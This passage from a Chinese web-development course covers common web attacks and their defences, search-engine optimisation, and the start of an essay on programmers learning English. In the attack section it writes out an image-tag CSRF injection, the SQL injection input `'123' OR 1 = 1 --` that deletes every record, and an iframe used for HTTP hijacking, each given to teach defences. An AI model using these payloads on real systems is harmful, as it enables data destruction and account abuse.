第二个，控制好 Cookie 的作用范围。比如服务器在返回 Set-Cookie 头的时候，设置 HttpOnly 这个标识，这样浏览器的脚本就无法获得 Cookie 了，而用户却依然可以继续使用 Cookie 和会话。

当然上述内容只是 XSS 原理的一个简单示意，实际的跨站脚本攻击会比这个复杂且隐蔽得多。而且，这个跨站脚本可不只是能偷偷摸摸地把用户的 Cookie 传给攻击者，还能做其它的事情，比如我下面将要介绍的 CSRF。

2. CSRF

CSRF，Cross-Site Request Forgery，跨站请求伪造，它指的是攻击者让用户进行非其本意的操作。CSRF 和 XSS 的最大区别在于，在 CSRF 的情况下，用户的“非其本意”的行为全部都是从受害用户的浏览器上发生的，而不是从攻击者的浏览器上挟持用户会话以后发起的。

在讲 XSS 的时候我讲到了，如果使用 HttpOnly 方式的话，攻击者就无法获得用户的 Cookie，因此之前例子所介绍的 XSS 就很难发生。但 CSRF 没有这个限制，它可以在不拿到用户 Cookie 的情况下进行攻击，也就是说，从这个角度上看，它更难以防范。

我们还是接着 XSS 中攻击脚本的例子，如果这段脚本不是将用户的 Cookie 上传，而是直接提交购物下单的 HTTP 请求，并寄往指定地址，那它和 XSS 中的那个例子比较起来看，后果是一样的。因此，从这个角度看，技术变了，从 XSS 变成了 CSRF，可危害程度并没有减轻。这个过程见下图：

值得一提的是，有时候这个请求伪造，不一定要通过 JavaScript 的脚本完成，比如依然是那个电商网站的例子，用户可以发布评论，并且这个评论的录入缺乏字符转义和过滤。现在我们把评论内容改成如下的样子：

评论内容 1
<img src="/logout">
评论内容 2

你看，原本中间的 script 脚本，变成了 img 标签，这个 img 图像的 src 是一个相对路径，这里指向的是登出的 URI。于是每当用户访问这个评论展示的页面，浏览器就试图去发送 logout 请求来加载这张假的图片，于是用户就“莫名其妙”地自动登出了。这里攻击者使用了一个 img 标签来发送这个登出的请求，而没有使用任何脚本。

在理解了原理之后，我们就可以制定一些应对策略了。除了和 XSS 一样，做好字符的转义和过滤以外，针对 CSRF，我们还可以考虑如下应对策略：

第一种，使用 HTTP 的 Referer 头，因为 Referer 头可以携带请求的来源页面地址，这样可以根据 Referer 头鉴别出伪造的请求。

第二种，使用 token，原理上也很简单，服务端给每个表单都生成一个随机值，这个值叫做 token。Token 和我们前面讲到的用来标识用户身份的 Cookie 所不同的是，前者是对每个页面或每个表单就会生成一个新的值，而后者则是只有会话重新生成的时候才会生成。当用户正常操作的时候，这个 token 会被带上，从而证明用户操作的合法性，而如果是 CSRF 的情形，这个请求来自于一个非预期的位置，那么就不可能带有这个正确的 token。

值得注意的是，CSRF 和 XSS 不是地位均等的，具体说，在防范 CSRF 的情况下，必须首先确保没有 XSS 的问题，否则 CSRF 就会失去意义。因为一旦用户的会话以 XSS 的方式被劫持，攻击者就可以在他自己的浏览器中假装被劫持用户而进行操作。由于攻击者在他自己的浏览器中遵循着正确的操作流程，因而这种情况下无论是 Referer 头还是 token，从服务端的角度来看都是没有问题的，也就是说，当 XSS 被攻破，所有的 CSRF 的防御就失去了意义。

3. SQL 注入

SQL 注入，指的是攻击者利用网站漏洞，通过构造特殊的嵌入了 SQL 命令的网站请求以欺骗服务器，并执行该恶意 SQL 命令。

乍一听也许你会觉得这种方式在技术上可能比较难实现，和前面介绍的在用户的浏览器上做文章比起来，毕竟 SQL 的执行是位于整个 Web 栈中较靠下的持久层，得“突破层层防守”才能抵达吧，可事实并非如此。

SQL 注入原本可是很常见的，这些年由于持久层框架帮 Web 程序员做了很多 SQL 参数注入的事儿，程序员就很少自己去手动拼接 SQL 了，SQL 注入的漏洞自然就少得多了，但是一旦出现，和 XSS 或 CSRF 比起来，由于不需要特定的用户访问指定的页面，攻击者可以独立完成入侵的过程，并且效果是可以执行 SQL，因而影响往往是巨大的。

比如有这样一条 SQL 的语句拼接：

String sql = "DELETE FROM RECORDS WHERE ID = " + id + " AND STATUS = 'done'"

其中，这个 id 表示单条记录，且由用户的表单以字符串参数 id 的方式提交上来。这条 SQL 的本意是要删除一条以 id 为主键的记录，并且只有其状态在已完成（Status 为 done）的时候才允许删除。

现在，攻击者在提交的时候精心构造了这样一个字符串参数 id：

"'123' OR 1 = 1 --"

于是，这条 SQL 语句在拼接后就变成了：

DELETE FROM RECORDS WHERE ID = '123' OR 1 = 1 -- AND STATUS = 'done'

你看，虽然 WHERE 字句包含了对 ID 的判断，但是后面有一个恒真的“或”条件“1 = 1”，而且后面的 STATUS 判断被注释符号“–”给屏蔽掉了。于是，这条恐怖的删除所有记录的 SQL 就被执行了。

现在你可以想象一下 SQL 注入的影响到底有多么严重了。在本章我已经提到过，程序的问题还好修复或回滚，但是数据造成的损失往往很难修复。

知道了原理，那么我们就可以采取相应的措施来应对了：

第一种，对于参数进行转义和过滤，这和我们前面介绍的 XSS 的应对是一样的。如果参数的格式明确，我们应当较为严格地校验参数，比如上面的例子，如果 id 实际是一个数值，那么用户输入非数值就应当报错。

第二种，SQL 的语句执行尽可能采用参数化查询的接口，而不是单纯地当做字符串来拼接。当然，一般在使用持久化框架的时候，这样的事情框架一般都替程序员考虑到了。

第三种，严格的权限控制，这和 Linux 下面权限控制的原则是一样的，保持“最小授权”原则，即尽可能只授予能实现功能的最小权限。

4. HTTP 劫持

HTTP 劫持的原理很简单，但是却非常常见。就是说，由于 HTTP 协议是明文通信的，它就可以被任意篡改。而干这事儿干得最多的，不是什么传统意义上的“黑客”，而是那些无良的网络服务提供商和运营商们，他们利用对网络控制之便利，通过这种方式强行给用户塞广告。

我有一个个人的博客网站，有一次有读者跟我说：“你为什么投放垃圾广告？”一开始我还很纳闷，我可从来没有干过这事儿啊，怎么会有广告，后来才知道，其实，这就是因为遭遇了无良运营商的 HTTP 劫持。下面的这个截屏（来自这篇文章），右下角的广告就是通过 HTTP 劫持干的。

虽然可以任意修改 HTTP 响应报文，但是修改就可能带来对原页面的影响。于是，攻击者为了对用户造成的影响尽量小，而达到“单纯”地投放广告的目的，很可能会使用 iFrame。它利用了 iFrame 和母页面相对独立的特性，比方说：

<iframe id="fulliframe" name="fulliframe" frameSpacing=0 noResize height=1350 marginHeight=0 border=0 src=" 原网页 " frameBorder=0 width="100%" scrolling=no vspale="0"></iframe>

你看，原网页被装到了一个 iFrame 里面去，并且这个 iFrame 没有边，大小占据了整个浏览器，因此用户很可能不知情，但是，整个页面实际已经被替换掉了，那么也就可以在这个 iFrame 以外添加浮动广告了。

对于 HTTP 劫持，由于攻击者利用了 HTTP 明文传输的特性，因此解决方案很简单，就是将网站切换为 HTTPS。至于其它的方法，相对都比较特例化，并不一般和通用，只有将传输加密才是最理想的解决方案。

5. DNS 劫持

DNS 劫持的原理也很简单（你如果忘记了 DNS 的工作机制，可以回看 [第 29 讲]），用户的浏览器在通过 DNS 查询目标域名对应的 IP 地址的时候，会被攻击者引导到一个恶意网站的地址。这个假的网站也可以有相似的页面布局，也可能有“正规”方式申请的 HTTPS 证书，换言之，HTTPS 加密通信并不能防范 DNS 劫持，因此用户很可能被欺骗而不察觉。

如果你还不是很理解，那让我再来进一步解释。当浏览器敲入域名地址并回车，用户在网上冲浪的整个过程，一环套一环，只要有任何一环存在安全隐患，那么其它环节的安全工作做得再好也是没有用的。DNS 假如被劫持了，浏览器都去和一个假冒的网站通信了，HTTPS 加密做的也只是保证你和这个假冒网站通信的完整性、保密性，那还有何用？就好比要去药店买药，可去了家假的药店，那么保证整个交易过程的安全性就失去了它原本的意义了。

对于真正开发维护 Web 网站或应用的程序员来说，DNS 劫持相对来说比较难以防范，因为 DNS 解析的步骤，从整个过程来看，请求根本还没有到达实际的应用，确实有些无能为力。

事实上，安全防范的各个环节就像一个木桶的各个木板，网络公共服务的安全性，经常决定了用户网上冲浪安全性的上限。2010 年的百度被黑事件，就是遭遇了 DNS 劫持。由于 DNS 解析的过程比较长，劫持可能发生在网络，也可以发生在本机（别忘了本机有 hosts 文件），还可能发生在某一个子网的路由。对于 DNS 网络明文通信带来的隐患，有一个安全的域名解析方案，叫做 DNS over HTTPS，目前还在实验阶段，仅有部分 DNS 服务支持。

6. DDoS 攻击

最后我来简单介绍一下 DDoS，Distributed Denial-of-Service，分布式拒绝服务，这种攻击方式从理论上说，最难以防范，被称为互联网的“癌症”。

为什么呢？因为它的原理是，攻击者使用若干被“攻陷”的电脑（比如被病毒占领和控制的“肉鸡”），向网络应用和服务同一时间发起请求，通过一瞬间的请求洪峰，将服务冲垮。

DDoS 攻击的目的不是偷窃用户数据，也不是为了仿冒用户身份，而是“无差别”阻塞网络，引发“拒绝服务”，让正常使用网站和应用的用户难以继续使用，这个“无差别”最要命，简单、粗暴，但却有效。

因此对于 DDoS 的攻击，我们需要整个网络链路配合，包括路由器、交换机、防火墙等等组件，采取入侵检测和流量过滤等多种方式来联合防范。这部分的内容涉及比较多，我在扩展阅读放了一点材料，感兴趣的话可以阅读。

总结思考

今天我们重点学习了常见的几种 Web 攻击方式，希望你从中学到了一些网站安全问题的知识和相应的应对办法，毕竟，安全无小事。

下面来提两个问题吧：

手动输入验证码的功能如今已经被广泛使用了，你觉得对于今天介绍的攻击方式，验证码可以用来防范它们中的哪一些？

假如你需要设计一个电商的网上支付功能，用于在线购买商品，用户需要填写信用卡信息并提交。对于这个过程，从安全的角度看，你觉得有哪些措施是必须要采取，从而提高支付行为整体的安全性的？

扩展阅读

文中提到了 HttpOnly 标识，想了解更多细节你可以阅读这篇文章。

文中提到了 HTTP 的 Referer 头，你可以参阅维基百科获得更详细的介绍。

文中提到了 SQL 的参数化查询，如果不了解，可以阅读这篇介绍。

关于 DDoS 攻击的分类，可以参阅这个词条，国内很多个人站点的站长都对它深恶痛绝，比如你可以看看这篇记录，还有关于历史上五个最著名的 DDoS 攻击请参阅这篇文章。

32 | 和搜索引擎的对话：SEO的原理和基础

你好，我是四火。

今天，我们来聊一聊搜索引擎和 SEO（Search Engine Optimization）。当网站发布上线以后，我们希望通过适当的优化调整，让它可以被搜索引擎更好地“理解”，在用户使用搜索引擎搜索的时候，网站的内容可以更恰当地暴露给用户。

作为程序员，和更擅长于与内容打交道的运营相比，我们的角度是不一样的，我们更关注工程实现而非网页内容，也更需要从原理的角度去理解 SEO。这一讲，就让我们从理解互联网搜索引擎的工作原理开始。

互联网搜索引擎

要说 SEO，我觉得我们需要先来简单了解一下互联网上的搜索引擎。

组成部分

对于 Google 和百度这样的巨型 Web 搜索引擎来说，这里面的机制很复杂，而它们之间又有很多区别。比如被搜索的数据是怎样产生的，权重是怎样分配的，用户的输入又是怎样被理解的等等，但是大体上，它总是包含这样三部分。

1. 爬取（Crawling）

搜索引擎会有若干个“爬虫”客户端定期地访问你的网站，如果数据有了变更，它们会将可访问的网页下载下来。搜索引擎发现网页的方式，和人是一样的，就是通过超链接。因此理论上，如果你建立了一个网站，但是你没有主动“告知”搜索引擎，也没有任何网站页面有超链接指向它，那么它是无法被搜索引擎的爬虫发现的。

2. 建立索引（Indexing）

这一步其实就是将前面爬取的结果，经过解析和处理以后，以一种有利于搜索的方式归类存放起来。在 [第 26 讲] 我们介绍了搜索引擎的倒排索引机制。

3. 返回结果（Serving Results）

拆解用户的搜索条件，根据多种因素来决定返回哪些网页或其它资源给用户，也包括确定它们的展示顺序（Ranking）。

这三个大致的步骤协同合作并提供了如今互联网搜索引擎的服务，当然，实际过程会复杂得多。比方说，上述的第 2 步就要包含解析、分词、去重、去噪等等许多步的操作。

另外值得一提的是，搜索的数据现在确实都是增量更新的，可早些年其实并不是如此。Google 在 2003 年以前，爬虫完成不同的数据爬行需要不同的时间，其中最慢的需要几个月，之后的索引需要一周，数据分发也需要一周，在这以后才能被搜索到，因此人们往往也只能搜索到很早以前的数据（当然，那时候互联网的数据没那么大，变更也没那么频繁）。在一次重要更新 Fritz 以后，爬虫才每天都爬网页的数据，搜索数据也才做到了日更新。

PageRank

纵观上面所述的三个步骤，从功能实现的流程和工程上面说，它们各自看起来并没有太大的技术门槛，但是搜索质量却天差地别。其中重要的一项就是怎样对返回给用户的网页进行排名，对于 Google 搜索，这一系列算法中最核心的那个，就叫做 PageRank。

在 PageRank 以前，排序大多依靠对搜索关键字和目标页的匹配度来进行，这种排序方式弊端非常明显，尤其对于善于堆砌关键字“舞弊”的页面，很容易就跳到了搜索结果的首页。但是这样的页面对于用户来说，价值非常小。

PageRank 算法的本质，就是利用网页之间的关联关系来确定网页的影响力权重。而这个关联关系，就是网页之间的超链接，换言之，如果一个页面被各种其它页面引用，特别是被“重要”的网站和页面引用，这就说明这个页面的权重更高。

在实际搜索的时候，需要做到两个因素的平衡：一个是 Reputation，也就是上面说的这个影响力，它并不会因为用户单次搜索的关键字不同而改变；还有一个是 Proximity，也就是接近程度，这是根据用户搜索的关键字的匹配程度来确定返回网页的。

如果只考虑 Reputation，那么所有用户搜到的东西都是一样的，这就不是一个搜索引擎了，而是一个网页的有序列表；如果只考虑 Proximity，那么用户搜到的东西就是杂乱无章的匹配页面，而不是像现在这样，将“重要”的页面显示在前面。无论是百度还是 Bing，不同搜索服务的算法不同，但都是立足于做到这两个基本因素的制衡。

SEO 相关技术

下面我们再来从工程实现的角度一窥 SEO 技术。技术是要为业务目的服务的，我们最大的目的，是为了让网站的内容更真实、更合理地暴露在搜索引擎的搜索结果中。

1. 白帽和黑帽

当我们明确了上述的目的，遵循搜索引擎规则，通过正当和高效的技术途径来实现 SEO 的效果，这样的方法叫做白帽（White Hat）法。相应的，如果是通过作弊、欺骗这样的手段，就叫做黑帽（Black Hat）法。如果你了解过网络安全中的白帽和黑帽，那么这里的含义其实是一致的。

搜索引擎在评估网站前文所述的影响力的时候，有许许多多不同的“Ranking Signal”，它指的就是会影响返回的网页排序的“信号”，它们共同决定了一个页面的影响力，对于 Google 搜索来说 ，前面我们提到的 PageRank，只是其中之一。这里面大多数的信号，都可以应用相应的 SEO 规则来进行优化，我随便举几个例子：

网站的正常运行时间。比方说，如果一个站点，在爬虫爬取的时候总是遭遇 4xx、5xx 这样的错误，显然对影响力是一个负面的加权。

网站的年龄，网页内容的新鲜程度，好的原创内容总是最好的优化方式。

网站采用 HTTPS 还是 HTTP，显然 HTTPS 要更优。

HTML 代码的质量，是否存在错误。

网页在站点访问的深度。

当然，黑帽法我们也来简单了解几个。

关键字堆砌：说白了就是放置大量的甚至和网页内容无关的关键字，比方说在页面上放置一些无关的关键字，并将它们的样式设置为透明，这样用户看不见，但是搜索引擎就以为这个页面和这些额外的关键字有关，在一些本该无关的搜索中会增加曝光度。这其实就是给搜索引擎和用户看不同的页面，搜索引擎看的页面堆砌了大量的无关关键字，而用户看到的才是正常的网页，这种方法被称为 Cloaking。

还有一种方法叫做 Doorway Pages，这种技术则是创建一个堆砌关键字的临时页面，用户访问的时候，则自动转向正常的网页，或是主页。你可以看到这些黑帽技术，都是为了糊弄搜索引擎而添加了某些本不该出现在页面里的关键字。

链接农场（Link Farm）：将网站链接放到很多本不该进行外链的其它网站页面上，比如花钱买一些不相关的内容，强行建立外链。不知道你有没有听说过“Google 轰炸”，它本质上就属于这种方法。当年人们搜索“more evil than Satan”（比撒但还邪恶）的时候，结果的第一条居然出现了微软的主页。

Article Spinning：这种技术将一些其它网站已有的内容拷贝过来，做一些用来欺骗搜索引擎的修改，让搜索引擎以为是一份新的内容。比如，替换一些特定的词语、句子，添加一些毫无意义的用户不可见的内容，等等。

2. 站内优化和站外优化

SEO 的优化方式，可以大致分为站内的和站外的。站内优化，其实指的就是在自己管理的网站内部做优化工作来实现 SEO。比如我们之前反复提到的关键字，现在，我们不妨动手来体会一下。

在浏览器地址栏中输入 https://time.geekbang.org，打开极客时间的页面，右键点击页面空白处并查看网页源代码，你会看到这样的 meta 标签：

<meta name=keywords content= 极客时间,IT, 职业教育, 知识付费, 二叉树, 极客 Live, 极客搜索, 互联网, 前端开发, 后端开发, 编程语言, 人工智能, 区块链, 技术大会, 技术管理, 产品, 研发, 测试, 运维, 数据库, 架构, 微服务, 实战, 技术专家,Java,iOS,Android,Linux,Go id=metakeywords>

这就是极客时间网站的关键词，这些关键词会让搜索引擎用户在搜索的时候准确地找到这个网站。除了 keywords 的 meta 标签，还有一些其它起到帮助搜索引擎更准确地认识网站的 HTML 标签，比如 description 的 meta 标签，title 标签等等。对于 HTML 的正文，你也许还记得我们在 [第 17 讲] 介绍的 HTML 语义化标签，它们都可以帮助搜索引擎更好地理解内容。

正如其名，站外优化则和站内优化相反，优化工作是在目标站之外开展的，比如众所周知的“友情链接”，就是一种提供外链的站外优化方式。

3. roberts.txt

“roberts.txt”是网站根目录下直接能够访问到的文本文件，它是一个对于网络爬虫的规约，告诉它这个网站下哪些内容你是可以爬取的，哪些内容你是不能爬的。值得注意的是，roberts.txt 不是标准，也不是规范，而是一种“约定俗成”，几乎所有的搜索引擎都会遵守它。

这就好像你在你家门口贴了张条，哪些过路人可以敲你家的门，而哪些人不可以，那么路过的人大多会按这张纸条上的要求去做，但如果你不受欢迎而硬要去敲门（访问），那么也没有任何人可以阻止你，但至于主人开不开门（是否响应请求），或者给不给好脸色（是否返回正常结果），就是另一回事了。

现在，你可以打开浏览器，在浏览器中输入 https://www.google.com/robots.txt 来访问 Google 的 roberts.txt 文件。你将看到如下信息：

User-agent: *
Disallow: /search
Allow: /search/about
Allow: /search/static
...
Disallow: /imgres
...
（省略大量 Disallow 和 Allow 的配置）

User-agent: Twitterbot
Allow: /imgres

User-agent: facebookexternalhit
Allow: /imgres

Sitemap: https://www.google.com/sitemap.xml

这是说，对于默认的爬虫（User-agent 为 *），/search 和 /imgres 是不允许爬取的，但是 /search/about 和 /search/static 是可以爬取的，请注意 Allow 指令比 Disallow 有更高的优先级；对于 Twitter 和 Facebook 的爬虫，却是允许访问 /imgres 的。

你可以看到，这样的配置是运行配置默认值，然后通过特殊值来覆写的（不知这能否让你回想起 [第 28 讲] 中介绍的类似的“默认值 + 特殊值覆写”的配置方式）。最后一行是网站地图 sitemap.xml 的位置，我们下面会讲。

另外，如果你想让搜索引擎友好一点，就不要那么频繁地访问你的网站，你可以使用 Crawl-delay 参数，用来告知连续的请求之间至少间隔多少秒，比如：

Crawl-delay: 5

同样的，你可以看看百度的 roberts.txt，访问 https://www.baidu.com/robots.txt，你会看到百度比较“特立独行”，它不允许 Google、有道、搜狗等多家搜索引擎的数据爬取。

除了全站的搜索引擎爬取设定以外，能够按页来设置吗？可以，这时候你需要使用一个名为 robots 的 meta 标签，这个标签在 HTML 的 head 内，用来告知该页的爬取策略。

<meta name="robots" content="noindex,nofollow" />

除页面以外，HTML 的 a 标签（链接）也能够告诉搜索引擎不要进一步追踪爬取，方法就是使用 nofollow，如下：

<a href="http://www.another-website.com/" rel="nofollow"> 另一个站点 </a>

因此，是否允许爬取的建议，是可以在网站、页面和链接这三个级别分别设置的。

4. 网站地图

网站地图就像前面提到的 roberts.txt 一样，是另一个和搜索引擎对话的途径。网站可能非常大，爬取一遍耗时长，但网站地图则可以清晰直接地告诉搜索引擎网站内“重要”的页面都有哪些（无论是否被链接指向），它们的更新习惯，包括最近一次是什么时候更新的，更新频率是多少，以及对于整个网站来说，不同页面的重要性比重是多少。

对于使用 SPA（我们曾在 [第 17 讲] 介绍过 SPA，你可以回看）的网站应用来说，由于缺乏页面跳转，搜索引擎无法正确理解页面的关系、更新、指向等等，网站地图就显得更为重要了。

这次我来拿 B 站举个例子，访问 https://www.bilibili.com/sitemap.xml，你会看到如下的内容：

<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>http://www.bilibili.com/sitemap/v.xml</loc>
    <lastmod>2019-10-26T18:25:05.328Z</lastmod>
  </sitemap>
  ...
</sitemapindex>

它是由多个子 sitemap 配置文件组成的，随便打开一个，比如 http://www.bilibili.com/sitemap/v.xml：

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>http://www.bilibili.com/v/douga/</loc>
    <lastmod>2019-10-26T18:25:17.629Z</lastmod>
    <changefreq>daily</changefreq>
  </url>
  ...
</urlset>

可以说一目了然，页面位置、上次修改时间，以及修改频率。这可以让搜索引擎有目的和有条件地扫描和爬取页面数据。

对于网站地图，除了被动等待爬虫的抓取，搜索引擎服务往往还提供另一种方式来报告网站地图的变更，那就是允许网站管理员主动去提交变更信息，这种方式和爬虫来爬取比较起来，类似于我们从第一章就开始讲的 pull 和 push 的区别，这种方式对于网站管理员来说更麻烦，但是显然可以更为及时地让搜索引擎获知并收录最新数据。

这种方式从实现上说，就是由搜索引擎服务的提供商开放了一个 Web API，网站在内容变更的时候调用，去通知搜索引擎（关于 Web API 的设计，你可以回看 [第 05 讲]）。

5. 统计分析

在进行 SEO 的改动调整之后，我们需要一些方式来跟踪和评估效果。像 Google Analytics 和百度统计，就提供了这样的功能。

原理上很简单，以 Google Analytics 为例，它会为你的网站生成一段 JavaScript 代码，你就可以把它嵌入每一个你希望得到跟踪的网页。这样，在页面访问时，这段代码会收集相关信息，并向页面嵌入一个大小为 1 像素的 gif 图片，而这个图片的 URL 带有当前浏览器、操作系统等等客户端的不同类型的信息。这样，Google Analytics 就可以捕获这些信息来完成数据统计了。

下面给出了我在 Mac 上访问极客时间的页面时，网页向 Google Analytics 服务器发送的统计信息 URL（别看这个 URL 没有 gif 字样，但这个请求返回的就是一个 gif 图片，这一点可以从响应的 Content-Type 中看出来）：

https://www.google-analytics.com/collect?v=1&_v=j79&a=775923213&t=pageview&_s=1&dl=https%3A%2F%2Ftime.geekbang.org%2F&ul=en-us&de=UTF-8&dt=%E6%9E%81%E5%AE%A2%E6%97%B6%E9%97%B4&sd=24-bit&sr=1440x900&vp=575x729&je=0&_u=AACAAEAB~&jid=&gjid=&cid=248548954.1568164577&tid=UA-103082599-6&_gid=817127427.1571674409&z=266312543

通过收集这样的信息，可以获得很多网站用户的情况统计，比如访问量、页面停留时间、地区分布、电脑访问或手机访问的比例等等，并能观察这样的统计信息基于时间的走势。

总结思考

今天我们学习了一些互联网搜索引擎的工作机制，并结合例子从工程的角度了解了几个常见的 SEO 相关技术。今天我们就不放具体的思考题了，但 SEO 本身是一个可以挖掘很深的领域，我在扩展阅读中放置了一些资料，供你延伸。

好，到今天为止，“寻找最佳实践”这一章就接近尾声了，你是否有所收获、有所体会，欢迎你在留言区分享。

扩展阅读

文中介绍了几个典型的 SEO 黑帽法，作为视野的拓展，你可以阅读这篇文章了解更多的黑帽法。特别地，你也可以参阅这一词条了解更多历史上的 “Google 轰炸”事件。

如果对 Google Analytics 感兴趣的话，那么官方有一些很好的学习材料；如果用的是百度统计，那么你也可以浏览一下官方的文档。

对于 PageRank 算法，互联网上其实有很多学习材料，比如维基百科的词条，再比如科普作家卢昌海的文章——谷歌背后的数学。这个算法的来源，是 The Anatomy of a Large-Scale Hypertextual Web Search Engine 这篇 Sergey Brin 和 Lawrence Page 最早写的关于 Google 搜索引擎原理的论文，当然，它并非这一讲的学习周期内要求的阅读材料，而仅供感兴趣且有余力的你阅读。

单页应用（Single Page Application）的搜索引擎优化，专栏第三章已经介绍了 SPA 的优势，但是 SPA 网站并不是一个擅长将喜怒哀乐表现出来的孩子，他对擅长察言观色的搜索引擎颇不友好，因此要对 SPA 网站进行有效的 SEO，是需要一些特殊技巧的，推荐阅读。

33 | 特别放送：聊一聊程序员学英语

你好，我是四火。

又到了相对轻松的特别放送时间，这一次，我想聊一聊程序员对于英语的学习。我在专栏最开始的 [学习路径] 中就提到了工程师的一些“基础”能力，比如数据结构和算法，当然也包括英语。当时我说，对于进阶的工程师来说，英文能力是突破天花板的一个必选项，而且英文是所有进阶的软件工程师应当强化的能力，对全栈工程师来说更甚。但是我在当时并没有展开论述，为什么在中文技术材料如此丰富的今天，在工作环境是以中文为主的情况下，英语的学习依然那么重要。

为什么英语是必选项？

我记得在 2017 年的时候，就有一股讨论高考是不是应该取消英语的风潮，有不少反对者都说，英语学习了也用不上，可是直到现在，语文、数学和英语，这三门依然是高考中的公共科目。

不知道你还记不记得高中化学课学的，使用氯酸钾在二氧化锰的催化下制氧气，软件技术的职业上升进程就像是氯酸钾分解的过程，而英语就像是软件技术进阶的催化剂，它自己单独未必能给你带来多大的价值，但是掌握了它的软件工程师，视野是完全不一样的。在这里我不想谈论英语学习是否具备一般必要性，但是对于程序员这个特殊的职业来说，我想来谈一谈它重要的原因。

信息获取的最有力工具

其实最重要的原因说起来很简单，它并非是什么需要和世界人民沟通交流这样冠冕堂皇、牵强附会的理由，而是在于程序员这个职业的特殊性。

程序员需要长期地学习，而大多数的学习材料，都是使用英文撰写的。特别是对于基于 Web 的全栈工程师来说更是如此，全栈技术迭代很快，新的技术资料一般都是英文的，英文能力，尤其是英文的阅读能力会很大程度地影响知识获取的速度。

我随便举个例子。

本专栏在介绍缓存的 LRU 算法的时候描述了 LRU 的缺陷，而有一些算法设计出来的目的就是为了解决这个缺陷，2Q 算法就是其中之一。

如果你使用 Google 搜索“2Q 算法”，你会看到类似这样的结果：

基本上结果的相关性不错，但是这 4 条最靠上的结果都无一例外地是一些个人学习和分享的博客，对于 2Q 算法的笔记和理解。拿百度搜索，结果也类似，其中 CSDN 的网站权重要高一些，并且结果页的右边多了一个毫无关联性的搜索热点消息栏。

但是，如果使用英文，搜索“2Q algorithm”，结果页如下：

也一样看看这 4 条最靠上的结果，相关性依然保持的同时，相对有更有价值的内容：

第一条，是 2Q 算法提出的论文，这显然是对于该算法最权威的材料了，并且标题下面列出了引用数 831，以及论文相关文章的链接；

第 2 条是针对该算法的一个介绍和改进；

第 3 条是 2Q 算法的讨论；

而第 4 条则是维基百科关于缓存替换策略的页面，2Q 算法就是被设计用作缓存替换算法的，这些算法被放在一起横向比较。

如果你进一步点击查看维基百科的这个缓存替换策略的页面，你依然可以发现，英文页面要远比中文页面内容丰富得多：

你看，英文页面中有这样一系列缓存替换算法的比较，每个算法都有具体说明；但是中文页呢，什么都没有，只有一个简单的介绍。

需要强调的是，我不希望被误解，我的意思不是说不能使用中文搜索技术材料，通过这个实际的例子，我是想向你说明，在计算机科学领域，大多我们查询技术资料的时候，使用英文确确实实能带来多得多的好处。

在这个领域里，学会英文就多了一门获取信息的最佳工具，并且这个工具往往还远远不是别的工具能替代的。在之前 [第 06 讲] 的特别放送中，我曾经介绍过，如今互联网十大企业，中国占了 4 家，美国占了 6 家，因此如果能够掌握好中文和英文这两门语言，程序员在信息获取上的优势就显而易见了。

随着我们的生活逐渐被微信朋友圈、微博这些社交媒体所“统治”，我们更要注意技术材料的权威性，以避免那些错误的、走样的信息，因此我们需要使用英语去寻找自己需要的资料，并且去官方、可信的渠道去寻找资料。特别是当你可以阅读两份材料，一份英文的原版材料，一份经过了翻译，你会觉得哪一份更可靠呢？

给自己更多的可能性

每过一阵子，互联网就会刮起一阵“无用论”的旋风，除了前面提到的“英语无用论”，还有曾经的“数学无用论”，提出这个说辞的人理由居然是因为“生活中用到的数学”只是买菜那点而已，生活中不需要微积分，不需要线性代数。

有人在回复中讽刺持有这些观点的人“只知道买菜”而已，其实，我倒认为这种观点有它“话糙理不糙”的部分，观点朴素，却是有一定道理的。事实上，倘若你回头看看你所学习的知识和掌握的技能，无论软硬，在你实际的工作中，能使用到的总归只有其中的一小部分。

然而，话要说回来，我们对大多数技能的学习，是为了给自己的未来带来更大可能性的。就像软件领域的 Web 全栈技能一样，英语是一个更加广泛的带来更多可能性的技能。你可以参与到更大影响力的项目中去，你对雇主的选择会更加广阔，你可以在世界更多的地方游历。事实上，职业生涯经常会发生“无心插柳柳成荫”的飞跃，我们所做的学习和积累，就是让自己准备好，在机会到来的时候尽量不要失去。

有哪些学习英语的策略？

顺理成章地，从“为什么”到“怎么样”，接下来就该说说程序员学习英语的策略了。这些策略是从我的角度来描述的，坦诚地讲，我并不聪明，学习英语的过程也颇为坎坷，高考的时候英语是拖后腿的科目。

我知道有些朋友英文基础很好，或者英文的学习能力很强，那么我估计就不需要我这些所谓的“经验”了，但是如果你和曾经的我一样，花过不少时间，可英语的学习效果还不好，那么你就可以听听我的介绍了。

首先我想说的是，程序员总是希望英语学习的投资能够尽量得到高回报，因此一般情况下，我并不赞同所谓的“听说读写”均衡发展的观点。你能做到均衡发展当然好，但是事实往往是残酷的，如果你还在学校里，那么还好，可是工作以后就不再如此了。也许生活每天都很忙碌，每天能抽出的时间并不多，更不可能像鸡汤文里说的那样，嘴里含一块小石头去海边练习发音。

听和读重于说和写

英文的“说”和“写”往往并不容易练习，除了立志去英文环境发展的程序员以外，我建议你可以着重关注于“听”和“读”。众所周知语言的学习是需要长期强化的，有了如今便捷的互联网，英文文章、英文电影、英文新闻，只要自己愿意，我认为“听”和“读”的不断刺激强化已经不成问题了，它们属于信息接收，但是“说”和“写”属于信息表达，后者更需要环境的浸染，如果仅仅靠一周个把小时的英语角，发几封英文邮件，或者是只进行缺乏互动的练习，进步是很慢的。

就我自己的经历而言，我在大学里面花费了大量的时间去学习英语的说和写，但其实效果并不好。那时候掌握的是语法和一点词汇基础，可以在思考以后说出、写出“正确”的句子，可以用来考试，但没法使用。

这里有两个原因：一个是思维还是中文思维，说的时候需要思考，在大脑中还需要进行从中文到英文的翻译过程；另一个是表达的方式并不是实际的、常用的，而是自己生硬的翻译。因此英语实际应用的提高，基本上都是在工作以后，因为有了实际的需要，以及英语环境，慢慢就给拧到英文思维了，并且逐渐掌握了表达的惯用法和一些技巧，这些都和读书时候学得不一样。

听：多样的口音

我曾经有一个误解，以为英语的学习就要尽量去找那些 VOA、BBC 这样的纯正发音的材料，但实际上根本不用这样。无论是工作还是生活，我们接触的英文都是杂七杂八的，各种各样的发音，各种各样的表达法。通过对于不同口音听力的训练，能够让自己对于英语听和理解的能力得到提升。这就有点像打乒乓球，要和各种各样风格的人过招，有直板有横板，有攻有守，自己的功力才能提升。

说：关注内容，而不是发音和语法

